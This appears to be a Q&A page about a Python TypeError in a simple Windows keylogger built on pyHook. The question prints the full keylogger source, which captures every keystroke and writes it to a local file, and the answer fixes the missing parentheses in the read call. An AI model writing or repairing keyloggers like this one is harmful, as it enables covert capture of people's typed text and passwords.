Search code examples
pythonpyhookpythoncom

How to fix [Type Error: unsupported operand type(s) for +=: 'builtin_function_or_method' and 'str'] error in Python


I'm programming a simple keylogger that writes in a output file, but when I try to run it, it brings me back this error:

[TypeError: unsupported operand type(s) for +=: 'builtin_function_or_method' and 'str']

Also the output file is written with unreadable characters...

import win32api
import win32console
import win32gui

import pythoncom, pyHook

win = win32console.GetConsoleWindow()



def OnKeyboardEvent(event):
    keyPressed = chr(int(event.Ascii) + 64)
    if event.Ascii==5:
        _exit(1)

    if event.Ascii != 0 or 8:
        f=open('C:/Users/Andrés/Desktop/hello.txt','r')
        buffer=f.read
        f.close()
        f=open('C:/Users/Andrés/Desktop/hello.txt','w')
        keylogs=chr(event.Ascii)
        if event.Ascii==13:
            keylogs='/n'
        buffer += keylogs
        f.write(buffer)
        f.close()

hm = pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()


Solution

  • You're missing parentheses:

    buffer=f.read()
                 ^^